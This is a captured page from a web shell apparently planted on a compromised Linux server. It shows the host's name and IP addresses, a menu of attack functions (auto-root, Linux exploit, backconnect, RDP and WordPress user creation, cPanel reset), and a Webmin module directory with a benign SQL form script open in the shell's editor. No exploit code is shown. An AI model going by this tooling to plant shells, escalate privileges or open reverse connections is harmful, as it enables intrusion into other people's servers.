Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtualmin-sqlite /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
LICENSE
34.32
KB
-rw-r--r--
index.cgi
2.15
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
module.info
156
B
-rw-r--r--
module.info.af.auto
39
B
-rw-r--r--
module.info.ar.auto
51
B
-rw-r--r--
module.info.be.auto
53
B
-rw-r--r--
module.info.bg.auto
47
B
-rw-r--r--
module.info.ca.auto
45
B
-rw-r--r--
module.info.cs.auto
38
B
-rw-r--r--
module.info.da.auto
37
B
-rw-r--r--
module.info.de.auto
39
B
-rw-r--r--
module.info.el.auto
59
B
-rw-r--r--
module.info.es.auto
47
B
-rw-r--r--
module.info.eu.auto
39
B
-rw-r--r--
module.info.fa.auto
56
B
-rw-r--r--
module.info.fi.auto
39
B
-rw-r--r--
module.info.fr.auto
45
B
-rw-r--r--
module.info.he.auto
43
B
-rw-r--r--
module.info.hr.auto
41
B
-rw-r--r--
module.info.hu.auto
40
B
-rw-r--r--
module.info.it.auto
39
B
-rw-r--r--
module.info.ja.auto
45
B
-rw-r--r--
module.info.ko.auto
46
B
-rw-r--r--
module.info.lt.auto
49
B
-rw-r--r--
module.info.lv.auto
39
B
-rw-r--r--
module.info.ms.auto
42
B
-rw-r--r--
module.info.mt.auto
41
B
-rw-r--r--
module.info.nl
37
B
-rw-r--r--
module.info.no.auto
37
B
-rw-r--r--
module.info.pl.auto
39
B
-rw-r--r--
module.info.pt.auto
46
B
-rw-r--r--
module.info.pt_BR.auto
49
B
-rw-r--r--
module.info.ro.auto
40
B
-rw-r--r--
module.info.ru.auto
49
B
-rw-r--r--
module.info.sk.auto
37
B
-rw-r--r--
module.info.sl.auto
41
B
-rw-r--r--
module.info.sv.auto
37
B
-rw-r--r--
module.info.th.auto
75
B
-rw-r--r--
module.info.tr.auto
42
B
-rw-r--r--
module.info.uk.auto
47
B
-rw-r--r--
module.info.ur.auto
71
B
-rw-r--r--
module.info.vi.auto
48
B
-rw-r--r--
module.info.zh.auto
36
B
-rw-r--r--
module.info.zh_TW.auto
39
B
-rw-r--r--
virtual_feature.pl
4.8
KB
-rwxr-xr-x
virtualmin-sqlite-lib.pl
754
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # Show a form for executing SQL $unsafe_index_cgi = 1; require './virtualmin-sqlite-lib.pl'; &ui_print_header(undef, $text{'index_title'}, "", undef, 0, 1); %access = &get_module_acl(); @dirs = split(/\t+/, $access{'dir'}); &ReadParse(); # Show database selection form print &ui_form_start("index.cgi", "post"); print "<table>\n"; print "<tr> <td><b>$text{'index_db'}</b></td> <td>\n"; if (@dirs) { foreach $dir (@dirs) { push(@dbs, &databases_in_dir($dir)); } print &ui_select("db", $in{'db'}, [ map { [ $_->{'file'}, $_->{'name'} ] } @dbs ]); } else { print &ui_textbox("db", $in{'db'}, 40); } print "</td> </tr>\n"; # Show SQL input print "<tr> <td valign=top><b>$text{'index_sql'}</b></td>\n"; print "<td>",&ui_textarea("sql", $in{'sql'}, 3, 70),"</td> </tr>\n"; print "</table>\n"; print &ui_form_end([ [ "ok", $text{'index_ok'} ] ]); if ($in{'sql'} && $in{'db'}) { # Show results print "<hr>\n"; print &text('index_exec', "<tt>".&html_escape($in{'sql'})."</tt>"),"<p>\n"; if (@dirs) { $ok = 0; foreach $dir (@dirs) { $ok = 1 if (&is_under_directory($dir, $in{'db'})); } $ok || &error($text{'index_ecannot'}); } if ($access{'user'}) { # Switch to a non-root user $user = $access{'user'} eq "*" ? $remote_user : $access{'user'}; @uinfo = getpwnam($user); if (scalar(@uinfo)) { ($(, $)) = ( $uinfo[3], "$uinfo[3] ".join(" ", $uinfo[3], &other_groups($uinfo[0])) ); ($>, $<) = ( $uinfo[2], $uinfo[2] ); } else { &error("User $user does not exist!"); } } # Run the SQL use DBI; $drh = DBI->install_driver("SQLite2"); $dbh = $drh->connect($in{'db'}, undef, undef, { }); $dbh || &error(&text('index_eopen', $drh->errstr)); $cmd = $dbh->prepare($in{'sql'}); $cmd || &error(&text('index_esql', $dbh->errstr)); ($rv = $cmd->execute()) || &error(&text('index_esql', $dbh->errstr)); while(my @r = $cmd->fetchrow()) { push(@rows, \@r); } @titles = @{$cmd->{'NAME'}}; $cmd->finish(); $dbh->commit(); $dbh->disconnect(); # Print output print &ui_columns_table(\@titles, undef, \@rows, undef, 0, undef, &text('index_none', int($rv))); } &ui_print_footer("/", $text{'index'});
Close